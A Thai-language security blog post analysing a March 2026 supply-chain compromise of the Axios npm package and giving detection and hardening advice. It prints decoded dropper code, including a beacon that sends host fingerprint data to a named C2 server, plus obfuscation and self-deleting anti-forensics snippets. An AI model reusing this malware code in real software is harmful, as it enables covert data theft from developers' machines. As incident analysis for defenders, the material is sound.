การโจมตี Supply Chain ของ Axios: บทเรียนจากการถูกบุกรุก npm ในเดือนมีนาคม 2026

วันที่ 31 มีนาคม 2026 หนึ่งในการโจมตี supply chain ที่ซับซ้อนที่สุดในประวัติศาสตร์ของ npm เกิดขึ้น Axios HTTP client library—เครื่องมือพื้นฐานในโปรเจกต์ JavaScript เกือบทุกโปรเจกต์ที่มียอดดาวน์โหลดมากกว่า 100 ล้านครั้งต่อสัปดาห์—ถูกบุกรุกเมื่อผู้โจมตียึดบัญชี maintainer และเผยแพร่สองเวอร์ชันที่เป็นอันตรายซึ่งติดตั้ง Remote Access Trojans (RATs) ข้ามแพลตฟอร์มบนเครื่องของนักพัฒนาทั่วโลก

โพสต์นี้วิเคราะห์อย่างละเอียดว่าเกิดอะไรขึ้น วิธีที่การโจมตีทำงานทางเทคนิค และที่สำคัญที่สุด สิ่งที่คุณต้องทำเพื่อปกป้ององค์กรของคุณ

ภาพรวมของการโจมตี

วิธีการทำงานของการโจมตี

ขั้นตอนที่ 1: การบุกรุกบัญชี

ผู้โจมตีบุกรุกบัญชี npm ของ @jasonsaayman maintainer หลักของโปรเจกต์ Axios หลักฐานทางนิติวิทยาศาสตร์แสดงว่าอีเมลของบัญชีถูกเปลี่ยนจาก [email protected] เป็น [email protected]—อีเมล ProtonMail ที่ผู้โจมตีควบคุม

นี่ไม่ใช่การโจมตี brute-force การบุกรุกน่าจะเกิดขึ้นผ่าน:

• Phishing ที่เป้าหมายเป็น maintainer
• Malware บนเครื่องของ maintainer
• Session hijacking
• credentials ที่รั่วไหลจากการละเมิดข้อมูลอื่นๆ

ขั้นตอนที่ 2: การเตรียม payload ล่วงหน้า

การโจมตีถูกวางแผนอย่างเป็นระบบเป็นเวลา 18 ชั่วโมง:

30 มี.ค. 2026 05:57 UTC: [email protected] เผยแพร่
    → เหยื่อสะอาดเพื่อสร้างประวัติ npm
    
30 มี.ค. 2026 23:59 UTC: [email protected] เผยแพร่
    → payload ที่เป็นอันตรายพร้อม postinstall hook

ผู้โจมตีเผยแพร่ [email protected] 18 ชั่วโมงก่อนการโจมตีหลัก เวอร์ชัน "สะอาด" นี้มีโค้ด crypto-js ที่ถูกต้อง แต่มีวัตถุประสงค์ที่สำคัญ: สร้างประวัติการเผยแพร่เพื่อให้แพ็คเกจไม่กระตุ้นการเตือน "แพ็คเกจใหม่" ในเครื่องมือสแกนความปลอดภัย

ขั้นตอนที่ 3: การฝัง payload

เมื่อ [email protected] และ [email protected] ถูกเผยแพร่ พวกเขารวมการเพิ่มที่ดูไร้อันตรายนี้ใน package.json:

{
  "dependencies": {
    "axios": "^1.14.1",
    "plain-crypto-js": "4.2.1"
  }
}

รายละเอียดสำคัญ: dependency ที่เป็นอันตรายไม่เคยถูก import ในโค้ดต้นฉบับ Axios มันมีอยู่เพื่อกระตุ้นการรัน postinstall script อัตโนมัติของ npm เท่านั้น

ขั้นตอนที่ 4: กลไก dropper

เมื่อนักพัฒนาหรือระบบ CI รัน npm install ห่วงโซ่ต่อไปนี้จะถูกดำเนินการ:

npm install [email protected]
    ↓
npm แก้ไข dependencies
    ↓
ดาวน์โหลด [email protected]
    ↓
รัน postinstall hook: node setup.js
    ↓
Dropper ติดต่อ C2 server
    ↓
ดาวน์โหลด payload RAT ตามแพลตฟอร์ม
    ↓
ทำลายตนเองเพื่อหลีกเลี่ยงการตรวจพบ

เจาะลึกทางเทคนิค: Dropper

setup.js dropper ใช้การซ่อนรูปแบบที่ซับซ้อน:

ระดับที่ 1: Base64 ย้อนกลับพร้อมการแทนที่ padding

// สตริงที่ซ่อนด้วยการเข้ารหัสที่กำหนดเอง
const payload = atob(str.split('').reverse().join('').replace(/~/g, '='));

ระดับที่ 2: XOR cipher พร้อมคีย์ hardcoded

const key = 'OrDeR_7077';
const decrypted = encrypted.map((b, i) => b ^ key.charCodeAt(i % key.length) ^ 333);

ฟังก์ชันการทำงานที่ถอดรหัสแล้ว:

// ตรวจจับแพลตฟอร์ม
const platform = os.platform();

// การสื่อสาร C2
const c2Server = 'sfrclak.com:8000';
const victimId = crypto.randomBytes(8).toString('hex');

// Fingerprinting ระบบ
const sysInfo = {
  hostname: os.hostname(),
  username: os.userInfo().username,
  platform: platform,
  arch: os.arch(),
  version: os.release(),
  processes: getRunningProcesses()
};

// Beacon ไปยัง C2 ทุก 60 วินาที
setInterval(() => {
  fetch(`http://${c2Server}/beacon`, {
    method: 'POST',
    headers: { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)' },
    body: JSON.stringify({ victimId, ...sysInfo })
  });
}, 60000);

Payload เฉพาะแพลตฟอร์ม

Payload macOS

• ตำแหน่งหย่อน: /Library/Caches/com.apple.act.mond (ปลอมเป็น Apple daemon)
• ความสามารถ:
  • การสำรวจระบบไฟล์ (/Applications, ~/Library)
  • การฉีดกระบวนการผ่าน codesign --force --deep --sign -
  • การรัน AppleScript
  • การจับภาพหน้าจอ
  • Keylogging

Payload Windows

• ตำแหน่งหย่อน: %PROGRAMDATA%\wt.exe (ปลอมเป็น Windows Terminal)
• การรัน: PowerShell ที่ซ่อนโดยข้าม execution policy
• ความสามารถ:
  • การจัดการ registry
  • ความทนท่านผ่าน scheduled tasks
  • การเก็บ credentials
  • การเคลื่อนย้ายแบบ lateral

Payload Linux

• ตำแหน่งหย่อน: /tmp/ld.py
• การรัน: nohup python3 /tmp/ld.py & (กระบวนการกำพร้า)
• ความสามารถ:
  • การขโมย SSH keys
  • การพยายาม escalate sudo privileges
  • การพยายาม escape จาก container

ขั้นตอนที่ 5: การทำลายตนเอง

หลังจากรัน malware ดำเนินการ anti-forensics:

// ลบ dropper
fs.unlinkSync('setup.js');

// แทนที่ package.json ที่เป็นอันตรายด้วยเหยื่อสะอาด
fs.renameSync('package.md', 'package.json');

// ลบรายการ npm cache
try {
  execSync('npm cache clean --force');
} catch(e) {}

ผลลัพธ์: นักพัฒนาที่ตรวจสอบ node_modules/plain-crypto-js หลังการติดตั้งจะพบแพ็คเกจที่ดูถูกต้องโดยไม่มีสัญญาณที่ชัดเจนของการบุกรุก

การทะลุทลายในการตรวจพบ

การโจมตีถูกตรวจพบผ่านสัญญาณที่รวมตัวกันหลายอย่าง:

StepSecurity AI Package Analysis

AI Package Analyst ของ StepSecurity ตั้งค่าทั้งสองเวอร์ชันภายในไม่กี่นาทีหลังการเผยแพร่:

เตือน: ตรวจพบ dependency chain ที่ผิดปกติ
แพ็คเกจ: [email protected]
dependency ใหม่: [email protected]
ปัจจัยความเสี่ยง:
  - แพ็คเกจไม่ได้ import ในโค้ดต้นฉบับ
  - การปรากฏตัวครั้งแรกใน dependency tree
  - มี postinstall script
  - กิจกรรมเครือข่าย C2 ที่น่าสงสัย

การตรวจพบ Harden-Runner CI

Harden-Runner (ใช้โดย 12,000+ public repos) ตรวจพบ C2 callback ระหว่างการรัน CI:

# ตัวอย่างที่ตรวจพบใน backstage repository
- Run: npm install
  Network Events:
    - การเชื่อมต่อขาออกไปยัง sfrclak.com:8000
    - โปรโตคอล: HTTP
    - User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)
    - ผิดปกติ: ไม่เคยเห็นในการรัน workflow ก่อนหน้า

การวิเคราะห์ npm Registry Metadata

นักวิจัยด้านความปลอดภัยระบุหลักฐานใน npm metadata:

// การเผยแพร่ที่ถูกต้อง ([email protected])
{
  "publishConfig": {
    "provenance": true
  },
  "gitHead": "a1b2c3d...",
  "_npmUser": "jasonsaayman"
}

// การเผยแพร่ที่เป็นอันตราย ([email protected])
{
  // ขาด: provenance, gitHead
  // เปลี่ยน: email เป็น [email protected]
  "_npmUser": "jasonsaayman"  // Username เดียวกัน แต่ credentials ต่างกัน
}

การเปลี่ยนจาก OIDC Trusted Publisher (GitHub Actions ที่ตรวจสอบทางการเข้ารหัส) เป็น manual CLI publish พร้อมอีเมลที่เปลี่ยนแล้วคือสัญญาณบอกเหตุ

การดำเนินการทันทีที่จำเป็น

หากคุณติดตั้ง Axios ในช่วงเวลานั้น

ถือว่าระบบถูกบุกรุก RAT ใช้งานและส่งสัญญาณภายใน 2 วินาทีของการติดตั้ง

1. แยกระบบที่ได้รับผลกระทบทันที
2. หมุนเวียน credentials ทั้งหมด ที่สัมผัสกับระบบ:
   • SSH keys
   • API tokens
   • npm/Node.js registry tokens
   • credentials ของ cloud provider
   • credentials ฐานข้อมูล
3. ตรวจสอบการเคลื่อนย้ายแบบ lateral:
   • ตรวจสอบบันทึกการตรวจสอบสิทธิ์
   • ตรวจสอบการ deploy ล่าสุด
   • สแกนหากลไกความทนท่าน
4. ติดตั้งระบบใหม่ หรือทำการติดตั้ง OS ใหม่ทั้งหมด

ตรวจสอบ dependencies ของคุณ

# ตรวจสอบว่าคุณมีเวอร์ชันที่เป็นอันตรายหรือไม่
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4" package*.json yarn.lock

# ตรวจสอบ dependency ที่เป็นอันตราย
grep -r "plain-crypto-js" package*.json yarn.lock

# ใช้ Snyk CLI
npx snyk test --severity-threshold=high

# ตรวจสอบ Snyk Advisory
# SNYK-JS-AXIOS-15850650
# SNYK-JS-PLAINCRYPTOJS-15850652

ตรวจสอบ lockfiles ของคุณ

# ตรวจสอบเวอร์ชัน axios ใน lockfile
npm list axios
yarn list axios
pnpm list axios

# หากใช้ 1.14.1 หรือ 0.30.4:
# 1. ลบ node_modules
# 2. ลบ lockfile
# 3. อัปเดตเป็นเวอร์ชันที่ปลอดภัย
# 4. ติดตั้งใหม่
npm install [email protected]  # หรือเวอร์ชันที่ปลอดภัยล่าสุด

กลยุทธ์การป้องกัน

1. ใช้ Dependency Pinning

อย่าใช้ floating versions ใน production:

// ❌ อันตราย
{
  "dependencies": {
    "axios": "^1.14.0"
  }
}

// ✅ ปลอดภัย
{
  "dependencies": {
    "axios": "1.14.0"
  }
}

Commit lockfile และตรวจสอบใน CI:

# .github/workflows/ci.yml
- name: ตรวจสอบ lockfile
  run: |
    if ! git diff --exit-code package-lock.json; then
      echo "Lockfile เปลี่ยนแปลงระหว่างการติดตั้ง อาจเป็นการโจมตี"
      exit 1
    fi

2. ใช้ Private Registry Proxies

ผ่าน npm ผ่าน private registry ที่สามารถบล็อกแพ็คเกจที่เป็นอันตราย:

// .npmrc
registry=https://your-private-registry.company.com

// พร้อมการกรองแพ็คเกจ
@axios:registry=https://registry.npmjs.org
// บล็อกแพ็คเกจที่เป็นอันตรายที่รู้จัก
// กำหนดค่าผ่าน dashboard registry

3. เปิดใช้งานการควบคุม Post-Install Script

# npm
npm config set ignore-scripts true
npm install
npm run build  # รัน scripts อย่างชัดเจนหลังจากตรวจสอบ

# yarn
yarn install --ignore-scripts

# pnpm
pnpm install --ignore-scripts

4. ใช้การตรวจสอบเครือข่ายใน CI

ใช้ Harden-Runner หรือเครื่องมือที่คล้ายกันเพื่อตรวจพบการเชื่อมต่อขาออกที่ผิดปกติ:

- uses: step-security/harden-runner@v2
  with:
    egress-policy: block
    allowed-endpoints: |
      registry.npmjs.org:443
      github.com:443
      *.s3.amazonaws.com:443

5. การตรวจสอบ Registry Metadata

ตรวจสอบการเปลี่ยนแปลงที่น่าสงสัย:

// สังเกต:
// - การเปลี่ยนแปลงอีเมลในบัญชี maintainer
// - dependency ใหม่ที่ปรากฏ
// - version bumps โดยไม่มี git tags ที่สอดคล้องกัน
// - การเปลี่ยนแปลงวิธีการเผยแพร่ (OIDC → CLI)

const axiosMetadata = await fetch('https://registry.npmjs.org/axios');
const latest = axiosMetadata.versions['1.14.1'];

if (latest._npmUser.email !== '[email protected]') {
  alert('ตรวจพบการบุกรุกที่อาจเกิดขึ้น');
}

6. ใช้ Software Composition Analysis (SCA)

เครื่องมืออย่าง Snyk, Dependabot และ npm audit ให้การเตือนแบบ real-time:

# Snyk
npm install -g snyk
snyk test
snyk monitor  # การตรวจสอบอย่างต่อเนื่อง

# Dependabot (GitHub)
# เปิดใช้งานในการตั้งค่า repository

# npm audit
npm audit --audit-level=high

การเปลี่ยนแปลงเชิงกลยุทธ์ในระยะยาว

สำหรับ Package Maintainers

1. เปิดใช้งาน 2FA ในทุกบัญชี npm (บังคับ)
2. ใช้ "publish with provenance" ของ npm สำหรับทุกการเผยแพร่
3. รักษา maintainers หลายคน พร้อมการเข้าถึงที่เป็นอิสระ
4. ตรวจสอบการเผยแพร่ที่ไม่ได้รับอนุญาต ผ่าน webhooks
5. ใช้การ sign แพ็คเกจ กับ Sigstore

สำหรับองค์กร

1. Vendor dependencies ที่สำคัญของคุณเอง
   • Fork แพ็คเกจไปยัง private registry ของคุณ
   • ตรวจสอบทุกการอัปเดตก่อนรับ
   • Pin ไปยังเวอร์ชันของคุณเอง
2. ใช้แพลตฟอร์ม Supply Chain Security
   • StepSecurity
   • Socket.dev
   • Phylum
3. สร้างความปลอดภัยลงใน SDLC
   • Pre-commit hooks สำหรับ dependency scanning
   • CI gates สำหรับการตรวจพบช่องโหว่
   • การสร้าง SBOM แบบอัตโนมัติ
4. สร้าง Incident Response Playbooks
   • สถานการณ์ supply chain compromise
   • ขั้นตอน rollback dependency อย่างรวดเร็ว
   • Workflows สำหรับ credential rotation

ภาพที่ใหญ่กว่า: Supply Chain Security ในปี 2026

การโจมตีนี้แสดงถึงระดับความซับซ้อนใหม่:

• การเตรียมล่วงหน้า: หน้าต่างเตรียมการ 18 ชั่วโมง
• หลายแพลตฟอร์ม: Payloads macOS, Windows, Linux พร้อมกัน
• สองสาขา: ทั้ง 1.x และ 0.x release lines เป็นเป้าหมาย
• ทำลายตนเอง: Anti-forensics เพื่อหลีกเลี่ยงการตรวจพบ
• ระดับ nation-state: ระบุว่า UNC1069 (เกาหลีเหนือ)

ผู้โจมตีเข้าใจ trust model ของ npm อย่างลึกซึ้ง:

• พวกเขารู้เกี่ยวกับ postinstall hooks
• พวกเขาเข้าใจวิธีหลบเลี่ยง "new package" alerts
• พวกเขาใช้ประโยชน์จากช่องว่างระหว่าง npm install และ security scanning

การตอบสนองของอุตสาหกรรม

หลังเหตุการณ์นี้ หลายโครงการกำลังเร่งดำเนินการ:

1. npm กำลังขยายข้อกำหนดการ sign แพ็คเกจ
2. GitHub กำลังบังคับใช้ 2FA สำหรับ npm publishers ทั้งหมด
3. ข้อกำหนด SLSA (Supply-chain Levels for Software Artifacts) ใหม่
4. การรับเลี้ยง private registry proxies เพิ่มขึ้น

บทสรุป

การบุกรุก Axios แสดงให้เห็นว่าแม้แต่แพ็คเกจที่เชื่อถือที่สุดและใช้กันแพร่หลายที่สุดก็สามารถกลายเป็น vector การโจมตีได้ ผู้โจมตีไม่ได้ exploit ช่องโหว่ในโค้ด Axios—พวกเขา exploit ความไว้วางใจที่เรามีต่อ ecosystem npm ทั้งหมด

บทเรียนสำคัญ:

1. ไว้วางใจแต่ตรวจสอบ: แม้แพ็คเกจยอดนิยมต้องการการตรวจสอบ
2. Lockfiles สำคัญ: พวกเขาป้องกันการอัปเดตเงียบไปยังเวอร์ชันที่เป็นอันตราย
3. ความปลอดภัย CI สำคัญ: pipeline การสร้างของคุณคือพื้นผิวการโจมตี
4. ความเร็วในการตอบสนอง: หน้าต่าง ~3 ชั่วโมงอาจเลวร้ายได้หากไม่มีการตรวจพบที่รวดเร็ว
5. Defense in Depth: ไม่มีการควบคุมเดียวเพียงพอ

ecosystem JavaScript เคลื่อนไหวเร็ว แต่ผู้โจมตีเคลื่อนไหวเร็วกว่า การสร้างความยืดหยุ่นต้องการการควบคุมทางเทคนิค วินัยในกระบวนการ และการเฝ้าระวังอย่างต่อเนื่อง

ต้องการความช่วยเหลือในการรักษาความปลอดภัย JavaScript supply chain ของคุณ? ติดต่อ Tropical Media สำหรับการตรวจสอบความปลอดภัย dependency อย่างครอบคล้มและ roadmap การนำไปใช้

แหล่งข้อมูล

• Snyk Advisory: SNYK-JS-AXIOS-15850650
• StepSecurity การวิเคราะห์
• Google Threat Intelligence รายงาน
• Elastic Security Labs: การวิเคราะห์ทางเทคนิค
• SANS Institute Briefing
• GitHub Issue: axios/axios#10604